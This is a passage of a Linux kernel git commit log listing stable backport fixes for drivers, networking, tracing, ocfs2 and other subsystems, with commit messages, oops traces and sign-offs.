Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage" Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2dd80b118fc8d96fe760e783fc83d2c76d83cbd9 Author: Manish Chopra Date: Tue Mar 15 07:13:45 2016 -0400 qlge: Fix receive packets drop. commit 2c9a266afefe137bff06bbe0fc48b4d3b3cb348c upstream. When running small packets [length < 256 bytes] traffic, packets were being dropped due to invalid data in those packets which were delivered by the driver upto the stack. Using pci_dma_sync_single_for_cpu ensures copying latest and updated data into skb from the receive buffer. Signed-off-by: Sony Chacko Signed-off-by: Manish Chopra Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a5bb4f8d48dcc4b4a208512d8f508de5baf103b1 Author: Arnd Bergmann Date: Mon Mar 14 15:18:36 2016 +0100 ath9k: fix buffer overrun for ar9287 commit 83d6f1f15f8cce844b0a131cbc63e444620e48b5 upstream. Code that was added back in 2.6.38 has an obvious overflow when accessing a static array, and at the time it was added only a code comment was put in front of it as a reminder to have it reviewed properly. This has not happened, but gcc-6 now points to the specific overflow: drivers/net/wireless/ath/ath9k/eeprom.c: In function 'ath9k_hw_get_gain_boundaries_pdadcs': drivers/net/wireless/ath/ath9k/eeprom.c:483:44: error: array subscript is above array bounds [-Werror=array-bounds] maxPwrT4[i] = data_9287[idxL].pwrPdg[i][4]; ~~~~~~~~~~~~~~~~~~~~~~~~~^~~ It turns out that the correct array length exists in the local 'intercepts' variable of this function, so we can just use that instead of hardcoding '4', so this patch changes all three instances to use that variable. The other two instances were already correct, but it's more consistent this way. Signed-off-by: Arnd Bergmann Fixes: 940cd2c12ebf ("ath9k_hw: merge the ar9287 version of ath9k_hw_get_gain_boundaries_pdadcs") Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 88132c8012e7985410f9c280322f5c9d929d06fc Author: Arnd Bergmann Date: Mon Mar 14 15:18:35 2016 +0100 farsync: fix off-by-one bug in fst_add_one commit e725a66c0202b5f36c2f9d59d26a65c53bbf21f7 upstream. gcc-6 finds an out of bounds access in the fst_add_one function when calculating the end of the mmio area: drivers/net/wan/farsync.c: In function 'fst_add_one': drivers/net/wan/farsync.c:418:53: error: index 2 denotes an offset greater than size of 'u8[2][8192] {aka unsigned char[2][8192]}' [-Werror=array-bounds] #define BUF_OFFSET(X) (BFM_BASE + offsetof(struct buf_window, X)) ^ include/linux/compiler-gcc.h:158:21: note: in definition of macro '__compiler_offsetof' __builtin_offsetof(a, b) ^ drivers/net/wan/farsync.c:418:37: note: in expansion of macro 'offsetof' #define BUF_OFFSET(X) (BFM_BASE + offsetof(struct buf_window, X)) ^~~~~~~~ drivers/net/wan/farsync.c:2519:36: note: in expansion of macro 'BUF_OFFSET' + BUF_OFFSET ( txBuffer[i][NUM_TX_BUFFER][0]); ^~~~~~~~~~ The warning is correct, but not critical because this appears to be a write-only variable that is set by each WAN driver but never accessed afterwards. I'm taking the minimal fix here, using the correct pointer by pointing 'mem_end' to the last byte inside of the register area as all other WAN drivers do, rather than the first byte outside of it. An alternative would be to just remove the mem_end member entirely. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5e3ca317a783bdc24cd84af3e723567b72aac855 Author: Sergei Shtylyov Date: Tue Mar 8 01:36:28 2016 +0300 sh_eth: fix NULL pointer dereference in sh_eth_ring_format() commit c1b7fca65070bfadca94dd53a4e6b71cd4f69715 upstream. In a low memory situation, if netdev_alloc_skb() fails on a first RX ring loop iteration in sh_eth_ring_format(), 'rxdesc' is still NULL. Avoid kernel oops by adding the 'rxdesc' check after the loop. Reported-by: Wolfram Sang Signed-off-by: Sergei Shtylyov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f63f6b71702d81769e6f05bd8124331a4ffe79bb Author: Bill Sommerfeld Date: Fri Mar 4 14:47:21 2016 -0800 udp6: fix UDP/IPv6 encap resubmit path commit 59dca1d8a6725a121dae6c452de0b2611d5865dc upstream. IPv4 interprets a negative return value from a protocol handler as a request to redispatch to a new protocol. In contrast, IPv6 interprets a negative value as an error, and interprets a positive value as a request for redispatch. UDP for IPv6 was unaware of this difference. Change __udp6_lib_rcv() to return a positive value for redispatch. Note that the socket's encap_rcv hook still needs to return a negative value to request dispatch, and in the case of IPv6 packets, adjust IP6CB(skb)->nhoff to identify the byte containing the next protocol. Signed-off-by: Bill Sommerfeld Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 677469b472bbac90bf522f7484fb5ebd27e7ab36 Author: Bjørn Mork Date: Thu Mar 3 22:20:53 2016 +0100 cdc_ncm: toggle altsetting to force reset before setup commit 48906f62c96cc2cd35753e59310cb70eb08cc6a5 upstream. Some devices will silently fail setup unless they are reset first. This is necessary even if the data interface is already in altsetting 0, which it will be when the device is probed for the first time. Briefly toggling the altsetting forces a function reset regardless of the initial state. This fixes a setup problem observed on a number of Huawei devices, appearing to operate in NTB-32 mode even if we explicitly set them to NTB-16 mode. Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f65c431fe61efc84ac1f79c3d7d5ac1b6ea03c77 Author: Florian Westphal Date: Tue Mar 1 16:15:16 2016 +0100 ipv6: re-enable fragment header matching in ipv6_find_hdr commit 5d150a985520bbe3cb2aa1ceef24a7e32f20c15f upstream. When ipv6_find_hdr is used to find a fragment header (caller specifies target NEXTHDR_FRAGMENT) we erronously return -ENOENT for all fragments with nonzero offset. Before commit 9195bb8e381d, when target was specified, we did not enter the exthdr walk loop as nexthdr == target so this used to work. Now we do (so we can skip empty route headers). When we then stumble upon a frag with nonzero frag_off we must return -ENOENT ("header not found") only if the caller did not specifically request NEXTHDR_FRAGMENT. This allows nfables exthdr expression to match ipv6 fragments, e.g. via nft add rule ip6 filter input frag frag-off gt 0 Fixes: 9195bb8e381d ("ipv6: improve ipv6_find_hdr() to skip empty routing headers") Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4c87ffe91e5e5bb9435e1bf184a61b251066528e Author: Xin Long Date: Sun Feb 28 10:03:51 2016 +0800 sctp: lack the check for ports in sctp_v6_cmp_addr commit 40b4f0fd74e46c017814618d67ec9127ff20f157 upstream. As the member .cmp_addr of sctp_af_inet6, sctp_v6_cmp_addr should also check the port of addresses, just like sctp_v4_cmp_addr, cause it's invoked by sctp_cmp_addr_exact(). Now sctp_v6_cmp_addr just check the port when two addresses have different family, and lack the port check for two ipv6 addresses. that will make sctp_hash_cmp() cannot work well. so fix it by adding ports comparison in sctp_v6_cmp_addr(). Signed-off-by: Xin Long Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7377cad625181068bc4e2e589be2562d1171e21b Author: Diego Viola Date: Tue Feb 23 12:04:04 2016 -0300 net: jme: fix suspend/resume on JMC260 commit ee50c130c82175eaa0820c96b6d3763928af2241 upstream. The JMC260 network card fails to suspend/resume because the call to jme_start_irq() was too early, moving the call to jme_start_irq() after the call to jme_reset_link() makes it work. Prior this change suspend/resume would fail unless /sys/power/pm_async=0 was explicitly specified. Relevant bug report: https://bugzilla.kernel.org/show_bug.cgi?id=112351 Signed-off-by: Diego Viola Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3935aac2b878f7dfc02cf8bedb671a84528cb716 Author: Takashi Iwai Date: Fri Apr 1 12:28:16 2016 +0200 ALSA: timer: Use mod_timer() for rearming the system timer commit 4a07083ed613644c96c34a7dd2853dc5d7c70902 upstream. ALSA system timer backend stops the timer via del_timer() without sync and leaves del_timer_sync() at the close instead. This is because of the restriction by the design of ALSA timer: namely, the stop callback may be called from the timer handler, and calling the sync shall lead to a hangup. However, this also triggers a kernel BUG() when the timer is rearmed immediately after stopping without sync: kernel BUG at kernel/time/timer.c:966! Call Trace: [] snd_timer_s_start+0x13e/0x1a0 [] snd_timer_interrupt+0x504/0xec0 [] ? debug_check_no_locks_freed+0x290/0x290 [] snd_timer_s_function+0xb4/0x120 [] call_timer_fn+0x162/0x520 [] ? call_timer_fn+0xcd/0x520 [] ? snd_timer_interrupt+0xec0/0xec0 .... It's the place where add_timer() checks the pending timer. It's clear that this may happen after the immediate restart without sync in our cases. So, the workaround here is just to use mod_timer() instead of add_timer(). This looks like a band-aid fix, but it's a right move, as snd_timer_interrupt() takes care of the continuous rearm of timer. Reported-by: Jiri Slaby Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4c9bb0be33b50deffc2dde8463ecce82f35b49fc Author: Helge Deller Date: Fri Apr 8 18:18:48 2016 +0200 parisc: Fix kernel crash with reversed copy_from_user() commit ef72f3110d8b19f4c098a0bff7ed7d11945e70c6 upstream. The kernel module testcase (lib/test_user_copy.c) exhibited a kernel crash on parisc if the parameters for copy_from_user were reversed ("illegal reversed copy_to_user" testcase). Fix this potential crash by checking the fault handler if the faulting address is in the exception table. Signed-off-by: Helge Deller Cc: Kees Cook Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4fa1ddaf83323ab64fbb3464f282e197771807a5 Author: Helge Deller Date: Fri Apr 8 18:11:33 2016 +0200 parisc: Avoid function pointers for kernel exception routines commit e3893027a300927049efc1572f852201eb785142 upstream. We want to avoid the kernel module loader to create function pointers for the kernel fixup routines of get_user() and put_user(). Changing the external reference from function type to int type fixes this. This unbreaks exception handling for get_user() and put_user() when called from a kernel module. Signed-off-by: Helge Deller Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2c6737234ee6eb7391438e7a3b8c028fdd365d9 Author: Guenter Roeck Date: Sat Mar 26 12:28:05 2016 -0700 hwmon: (max1111) Return -ENODEV from max1111_read_channel if not instantiated commit 3c2e2266a5bd2d1cef258e6e54dca1d99946379f upstream. arm:pxa_defconfig can result in the following crash if the max1111 driver is not instantiated. Unhandled fault: page domain fault (0x01b) at 0x00000000 pgd = c0004000 [00000000] *pgd=00000000 Internal error: : 1b [#1] PREEMPT ARM Modules linked in: CPU: 0 PID: 300 Comm: kworker/0:1 Not tainted 4.5.0-01301-g1701f680407c #10 Hardware name: SHARP Akita Workqueue: events sharpsl_charge_toggle task: c390a000 ti: c391e000 task.ti: c391e000 PC is at max1111_read_channel+0x20/0x30 LR is at sharpsl_pm_pxa_read_max1111+0x2c/0x3c pc : [] lr : [] psr: 20000013 ... [] (max1111_read_channel) from [] (sharpsl_pm_pxa_read_max1111+0x2c/0x3c) [] (sharpsl_pm_pxa_read_max1111) from [] (spitzpm_read_devdata+0x5c/0xc4) [] (spitzpm_read_devdata) from [] (sharpsl_check_battery_temp+0x78/0x110) [] (sharpsl_check_battery_temp) from [] (sharpsl_charge_toggle+0x48/0x110) [] (sharpsl_charge_toggle) from [] (process_one_work+0x14c/0x48c) [] (process_one_work) from [] (worker_thread+0x3c/0x5d4) [] (worker_thread) from [] (kthread+0xd0/0xec) [] (kthread) from [] (ret_from_fork+0x14/0x24) This can occur because the SPI controller driver (SPI_PXA2XX) is built as module and thus not necessarily loaded. While building SPI_PXA2XX into the kernel would make the problem disappear, it appears prudent to ensure that the driver is instantiated before accessing its data structures. Cc: Arnd Bergmann Cc: stable@vger.kernel.org Signed-off-by: Guenter Roeck Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2b8623358727aa0d30672799651638572e6622e Author: Andi Kleen Date: Tue Mar 1 14:25:24 2016 -0800 perf/x86/intel: Fix PEBS data source interpretation on Nehalem/Westmere commit e17dc65328057c00db7e1bfea249c8771a78b30b upstream. Jiri reported some time ago that some entries in the PEBS data source table in perf do not agree with the SDM. We investigated and the bits changed for Sandy Bridge, but the SDM was not updated. perf already implements the bits correctly for Sandy Bridge and later. This patch patches it up for Nehalem and Westmere. Signed-off-by: Andi Kleen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: jolsa@kernel.org Link: http://lkml.kernel.org/r/1456871124-15985-1-git-send-email-andi@firstfloor.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 05467270e69942e157079dc132ae61ca6fc2361c Author: Thomas Gleixner Date: Fri Mar 4 15:59:42 2016 +0100 sched/cputime: Fix steal time accounting vs. CPU hotplug commit e9532e69b8d1d1284e8ecf8d2586de34aec61244 upstream. On CPU hotplug the steal time accounting can keep a stale rq->prev_steal_time value over CPU down and up. So after the CPU comes up again the delta calculation in steal_account_process_tick() wreckages itself due to the unsigned math: u64 steal = paravirt_steal_clock(smp_processor_id()); steal -= this_rq()->prev_steal_time; So if steal is smaller than rq->prev_steal_time we end up with an insane large value which then gets added to rq->prev_steal_time, resulting in a permanent wreckage of the accounting. As a consequence the per CPU stats in /proc/stat become stale. Nice trick to tell the world how idle the system is (100%) while the CPU is 100% busy running tasks. Though we prefer realistic numbers. None of the accounting values which use a previous value to account for fractions is reset at CPU hotplug time. update_rq_clock_task() has a sanity check for prev_irq_time and prev_steal_time_rq, but that sanity check solely deals with clock warps and limits the /proc/stat visible wreckage. The prev_time values are still wrong. Solution is simple: Reset rq->prev_*_time when the CPU is plugged in again. Signed-off-by: Thomas Gleixner Acked-by: Rik van Riel Cc: Cc: Frederic Weisbecker Cc: Glauber Costa Cc: Linus Torvalds Cc: Peter Zijlstra Fixes: commit 095c0aa83e52 "sched: adjust scheduler cpu power for stolen time" Fixes: commit aa483808516c "sched: Remove irq time from available CPU power" Fixes: commit e6e6685accfa "KVM guest: Steal time accounting" Link: http://lkml.kernel.org/r/alpine.DEB.2.11.1603041539490.3686@nanos Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 02c139fc40f6f74c0fa8afe538e6330c6c8706d3 Author: Aaro Koskinen Date: Sat Feb 20 22:27:48 2016 +0200 mtd: onenand: fix deadlock in onenand_block_markbad commit 5e64c29e98bfbba1b527b0a164f9493f3db9e8cb upstream. Commit 5942ddbc500d ("mtd: introduce mtd_block_markbad interface") incorrectly changed onenand_block_markbad() to call mtd_block_markbad instead of onenand_chip's block_markbad function. As a result the function will now recurse and deadlock. Fix by reverting the change. Fixes: 5942ddbc500d ("mtd: introduce mtd_block_markbad interface") Signed-off-by: Aaro Koskinen Acked-by: Artem Bityutskiy Cc: Signed-off-by: Brian Norris Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 236c803f1c85f02cb9edaf873a53a3644d374417 Author: Joseph Qi Date: Fri Mar 25 14:21:29 2016 -0700 ocfs2/dlm: fix BUG in dlm_move_lockres_to_recovery_list commit be12b299a83fc807bbaccd2bcb8ec50cbb0cb55c upstream. When master handles convert request, it queues ast first and then returns status. This may happen that the ast is sent before the request status because the above two messages are sent by two threads. And right after the ast is sent, if master down, it may trigger BUG in dlm_move_lockres_to_recovery_list in the requested node because ast handler moves it to grant list without clear lock->convert_pending. So remove BUG_ON statement and check if the ast is processed in dlmconvert_remote. Signed-off-by: Joseph Qi Reported-by: Yiwen Jiang Cc: Junxiao Bi Cc: Mark Fasheh Cc: Joel Becker Cc: Tariq Saeed Cc: Junxiao Bi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f5b7f4a51d6c06f859a9fa4b05a63e53a603f2bd Author: Joseph Qi Date: Fri Mar 25 14:21:26 2016 -0700 ocfs2/dlm: fix race between convert and recovery commit ac7cf246dfdbec3d8fed296c7bf30e16f5099dac upstream. There is a race window between dlmconvert_remote and dlm_move_lockres_to_recovery_list, which will cause a lock with OCFS2_LOCK_BUSY in grant list, thus system hangs. dlmconvert_remote { spin_lock(&res->spinlock); list_move_tail(&lock->list, &res->converting); lock->convert_pending = 1; spin_unlock(&res->spinlock); status = dlm_send_remote_convert_request(); >>>>>> race window, master has queued ast and return DLM_NORMAL, and then down before sending ast. this node detects master down and calls dlm_move_lockres_to_recovery_list, which will revert the lock to grant list. Then OCFS2_LOCK_BUSY won't be cleared as new master won't send ast any more because it thinks already be authorized. spin_lock(&res->spinlock); lock->convert_pending = 0; if (status != DLM_NORMAL) dlm_revert_pending_convert(res, lock); spin_unlock(&res->spinlock); } In this case, check if res->state has DLM_LOCK_RES_RECOVERING bit set (res is still in recovering) or res master changed (new master has finished recovery), reset the status to DLM_RECOVERING, then it will retry convert. Signed-off-by: Joseph Qi Reported-by: Yiwen Jiang Reviewed-by: Junxiao Bi Cc: Mark Fasheh Cc: Joel Becker Cc: Tariq Saeed Cc: Junxiao Bi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 10a69820d6d65fa6f049709d291756d5bdb30cc5 Author: Vladis Dronov Date: Wed Mar 23 11:53:46 2016 -0700 Input: ati_remote2 - fix crashes on detecting device with invalid descriptor commit 950336ba3e4a1ffd2ca60d29f6ef386dd2c7351d upstream. The ati_remote2 driver expects at least two interfaces with one endpoint each. If given malicious descriptor that specify one interface or no endpoints, it will crash in the probe function. Ensure there is at least two interfaces and one endpoint for each interface before using it. The full disclosure: http://seclists.org/bugtraq/2016/Mar/90 Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9b91d602f0504a7cc08d636692699b0b7ced25fe Author: Oliver Neukum Date: Thu Mar 17 14:00:17 2016 -0700 Input: ims-pcu - sanity check against missing interfaces commit a0ad220c96692eda76b2e3fd7279f3dcd1d8a8ff upstream. A malicious device missing interface can make the driver oops. Add sanity checking. Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a77fb71b8ee628c3a63da668883396ad93369aa5 Author: Julia Lawall Date: Thu Feb 18 00:16:14 2016 +0100 scripts/coccinelle: modernize & commit 1b669e713f277a4d4b3cec84e13d16544ac8286d upstream. & is no longer allowed in column 0, since Coccinelle 1.0.4. Signed-off-by: Julia Lawall Tested-by: Nishanth Menon Cc: stable@vger.kernel.org Signed-off-by: Michal Marek Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 17a5c7f822c6f23a5be06e75c070336921714af6 Author: Steven Rostedt (Red Hat) Date: Tue Mar 22 17:30:58 2016 -0400 tracing: Fix trace_printk() to print when not using bprintk() commit 3debb0a9ddb16526de8b456491b7db60114f7b5e upstream. The trace_printk() code will allocate extra buffers if the compile detects that a trace_printk() is used. To do this, the format of the trace_printk() is saved to the __trace_printk_fmt section, and if that section is bigger than zero, the buffers are allocated (along with a message that this has happened). If trace_printk() uses a format that is not a constant, and thus something not guaranteed to be around when the print happens, the compiler optimizes the fmt out, as it is not used, and the __trace_printk_fmt section is not filled. This means the kernel will not allocate the special buffers needed for the trace_printk() and the trace_printk() will not write anything to the tracing buffer. Adding a "__used" to the variable in the __trace_printk_fmt section will keep it around, even though it is set to NULL. This will keep the string from being printed in the debugfs/tracing/printk_formats section as it is not needed. Reported-by: Vlastimil Babka Fixes: 07d777fe8c398 "tracing: Add percpu buffers for trace_printk()" Cc: stable@vger.kernel.org # v3.5+ Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eda62360c650194c236a9c4a665c857f20065b21 Author: Steven Rostedt (Red Hat) Date: Fri Mar 18 15:46:48 2016 -0400 tracing: Fix crash from reading trace_pipe with sendfile commit a29054d9478d0435ab01b7544da4f674ab13f533 upstream. If tracing contains data and the trace_pipe file is read with sendfile(), then it can trigger a NULL pointer dereference and various BUG_ON within the VM code. There's a patch to fix this in the splice_to_pipe() code, but it's also a good idea to not let that happen from trace_pipe either. Link: http://lkml.kernel.org/r/1457641146-9068-1-git-send-email-rabin@rab.in Cc: stable@vger.kernel.org # 2.6.30+ Reported-by: Rabin Vincent Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9bb104962626f7a609c1a89fecc12ccab2a6146c Author: Steven Rostedt (Red Hat) Date: Fri Mar 18 12:27:43 2016 -0400 tracing: Have preempt(irqs)off trace preempt disabled functions commit cb86e05390debcc084cfdb0a71ed4c5dbbec517d upstream. Joel Fernandes reported that the function tracing of preempt disabled sections was not being reported when running either the preemptirqsoff or preemptoff tracers. This was due to the fact that the function tracer callback for those tracers checked if irqs were disabled before tracing. But this fails when we want to trace preempt off locations as well. Joel explained that he wanted to see funcitons where interrupts are enabled but preemption was disabled. The expected output he wanted: <...>-2265 1d.h1 3419us : preempt_count_sub <-irq_exit <...>-2265 1d..1 3419us : __do_softirq <-irq_exit <...>-2265 1d..1 3419us : msecs_to_jiffies <-__do_softirq <...>-2265 1d..1 3420us : irqtime_account_irq <-__do_softirq <...>-2265 1d..1 3420us : __local_bh_disable_ip <-__do_softirq <...>-2265 1..s1 3421us : run_timer_softirq <-__do_softirq <...>-2265 1..s1 3421us : hrtimer_run_pending <-run_timer_softirq <...>-2265 1..s1 3421us : _raw_spin_lock_irq <-run_timer_softirq <...>-2265 1d.s1 3422us : preempt_count_add <-_raw_spin_lock_irq <...>-2265 1d.s2 3422us : _raw_spin_unlock_irq <-run_timer_softirq <...>-2265 1..s2 3422us : preempt_count_sub <-_raw_spin_unlock_irq <...>-2265 1..s1 3423us : rcu_bh_qs <-__do_softirq <...>-2265 1d.s1 3423us : irqtime_account_irq <-__do_softirq <...>-2265 1d.s1 3423us : __local_bh_enable <-__do_softirq There's a comment saying that the irq disabled check is because there's a possible race that tracing_cpu may be set when the function is executed. But I don't remember that race. For now, I added a check for preemption being enabled too to not record the function, as there would be no race if that was the case. I need to re-investigate this, as I'm now thinking that the tracing_cpu will always be correct. But no harm in keeping the check for now, except for the slight performance hit. Link: http://lkml.kernel.org/r/1457770386-88717-1-git-send-email-agnel.joel@gmail.com Fixes: 5e6d2b9cfa3a "tracing: Use one prologue for the preempt irqs off tracer function tracers" Cc: stable@vget.kernel.org # 2.6.37+ Reported-by: Joel Fernandes Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ac6d9dc3fa21c9b8adfd741b512eef6620069c20 Author: Mario Kleiner Date: Sun Mar 6 02:39:53 2016 +0100 drm/radeon: Don't drop DP 2.7 Ghz link setup on some cards. commit 459ee1c3fd097ab56ababd8ff4bb7ef6a792de33 upstream. As observed on Apple iMac10,1, DCE-3.2, RV-730, link rate of 2.7 Ghz is not selected, because the args.v1.ucConfig flag setting for 2.7 Ghz gets overwritten by a following assignment of the transmitter to use. Move link rate setup a few lines down to fix this. In practice this didn't have any positive or negative effect on display setup on the tested iMac10,1 so i don't know if backporting to stable makes sense or not. Signed-off-by: Mario Kleiner Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fc6ec1b8f27d3d50d041264a23cce01268adc8a4 Author: Gabriel Krisman Bertazi Date: Thu Feb 25 13:54:20 2016 -0300 ipr: Fix regression when loading firmware commit 21b81716c6bff24cda52dc75588455f879ddbfe9 upstream. Commit d63c7dd5bcb9 ("ipr: Fix out-of-bounds null overwrite") removed the end of line handling when storing the update_fw sysfs attribute. This changed the userpace API because it started refusing writes terminated by a line feed, which broke the update tools we already have. This patch re-adds that handling, so both a write terminated by a line feed or not can make it through with the update. Fixes: d63c7dd5bcb9 ("ipr: Fix out-of-bounds null overwrite") Signed-off-by: Gabriel Krisman Bertazi Cc: Insu Yun Acked-by: Brian King Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 044ac451564b4b7a15fc0f2a7d1d40711a7f8853 Author: Insu Yun Date: Wed Jan 6 12:44:01 2016 -0500 ipr: Fix out-of-bounds null overwrite commit d63c7dd5bcb9441af0526d370c43a65ca2c980d9 upstream. Return value of snprintf is not bound by size value, 2nd argument. (https://www.kernel.org/doc/htmldocs/kernel-api/API-snprintf.html). Return value is number of printed chars, can be larger than 2nd argument. Therefore, it can write null byte out of bounds ofbuffer. Since snprintf puts null, it does not need to put additional null byte. Signed-off-by: Insu Yun Reviewed-by: Shane Seymour Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f7396309ad776fdaae5d657a7205bbe8e9ed2da6 Author: Aurelien Jacquiot Date: Tue Mar 22 14:25:42 2016 -0700 rapidio/rionet: fix deadlock on SMP commit 36915976eca58f2eefa040ba8f9939672564df61 upstream. Fix deadlocking during concurrent receive and transmit operations on SMP platforms caused by the use of incorrect lock: on transmit 'tx_lock' spinlock should be used instead of 'lock' which is used for receive operation. This fix is applicable to kernel versions starting from v2.15. Signed-off-by: Aurelien Jacquiot Signed-off-by: Alexandre Bounine Cc: Matt Porter Cc: Andre van Herk Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2d86cc17bce696ff3820fbf69fe52aa223bafec1 Author: Jes Sorensen Date: Tue Feb 16 16:44:24 2016 -0500 md/raid5: Compare apples to apples (or sectors to sectors) commit e7597e69dec59b65c5525db1626b9d34afdfa678 upstream. 'max_discard_sectors' is in sectors, while 'stripe' is in bytes. This fixes the problem where DISCARD would get disabled on some larger RAID5 configurations (6 or more drives in my testing), while it worked as expected with smaller configurations. Fixes: 620125f2bf8 ("MD: raid5 trim support") Cc: stable@vger.kernel.org v3.7+ Signed-off-by: Jes Sorensen Signed-off-by: Shaohua Li Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9d5b6833e3c6a89d28b26675f53067feff40bd6b Author: Max Filippov Date: Thu Mar 3 18:34:29 2016 +0300 xtensa: clear all DBREAKC registers on start commit 7de7ac785ae18a2cdc78d7560f48e3213d9ea0ab upstream. There are XCHAL_NUM_DBREAK registers, clear them all. This also fixes cryptic assembler error message with binutils 2.25 when XCHAL_NUM_DBREAK is 0: as: out of memory allocating 18446744073709551575 bytes after a total of 495616 bytes Cc: stable@vger.kernel.org Signed-off-by: Max Filippov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b9aa5aeddd9f3be84e1ddc4c193ad56837cb2799 Author: Max Filippov Date: Tue Feb 9 01:02:38 2016 +0300 xtensa: ISS: don't hang if stdin EOF is reached commit 362014c8d9d51d504c167c44ac280169457732be upstream. Simulator stdin may be connected to a file, when its end is reached kernel hangs in infinite loop inside rs_poll, because simc_poll always signals that descriptor 0 is readable and simc_read always returns 0. Check simc_read return value and exit loop if it's not positive. Also don't rewind polling timer if it's zero. Cc: stable@vger.kernel.org Signed-off-by: Max Filippov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4a89ba39b4502222c62295e7f818c5e50fdbc5a0 Author: Rabin Vincent Date: Thu Mar 10 21:19:06 2016 +0100 splice: handle zero nr_pages in splice_to_pipe() commit d6785d9152147596f60234157da2b02540c3e60f upstream. Running the following command: busybox cat /sys/kernel/debug/tracing/trace_pipe > /dev/null with any tracing enabled pretty very quickly leads to various NULL pointer dereferences and VM BUG_ON()s, such as these: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] generic_pipe_buf_release+0xc/0x40 Call Trace: [] splice_direct_to_actor+0x143/0x1e0 [] ? generic_pipe_buf_nosteal+0x10/0x10 [] do_splice_direct+0x8f/0xb0 [] do_sendfile+0x199/0x380 [] SyS_sendfile64+0x90/0xa0 [] entry_SYSCALL_64_fastpath+0x12/0x6d page dumped because: VM_BUG_ON_PAGE(atomic_read(&page->_count) == 0) kernel BUG at include/linux/mm.h:367! invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC RIP: [] generic_pipe_buf_release+0x3c/0x40 Call Trace: [] splice_direct_to_actor+0x143/0x1e0 [] ? generic_pipe_buf_nosteal+0x10/0x10 [] do_splice_direct+0x8f/0xb0 [] do_sendfile+0x199/0x380 [] SyS_sendfile64+0x90/0xa0 [] tracesys_phase2+0x84/0x89 (busybox's cat uses sendfile(2), unlike the coreutils version) This is because tracing_splice_read_pipe() can call splice_to_pipe() with spd->nr_pages == 0. spd_pages underflows in splice_to_pipe() and we fill the page pointers and the other fields of the pipe_buffers with garbage. All other callers of splice_to_pipe() avoid calling it when nr_pages == 0, and we could make tracing_splice_read_pipe() do that too, but it seems reasonable to have splice_to_page() handle this condition gracefully. Cc: stable@vger.kernel.org Signed-off-by: Rabin Vincent Reviewed-by: Christoph Hellwig Signed-off-by: Al Viro Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 35a7a5948e781ff94407360b26f7bd0022755ff2 Author: Michael S. Tsirkin Date: Sun Feb 28 17:44:09 2016 +0200 watchdog: rc32434_wdt: fix ioctl error handling commit 10e7ac22cdd4d211cef99afcb9371b70cb175be6 upstream. Calling return copy_to_user(...) in an ioctl will not do the right thing if there's a pagefault: copy_to_user returns the number of bytes not copied in this case. Fix up watchdog/rc32434_wdt to do return copy_to_user(...)) ? -EFAULT : 0; instead. Cc: stable@vger.kernel.org Signed-off-by: Michael S. Tsirkin Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck 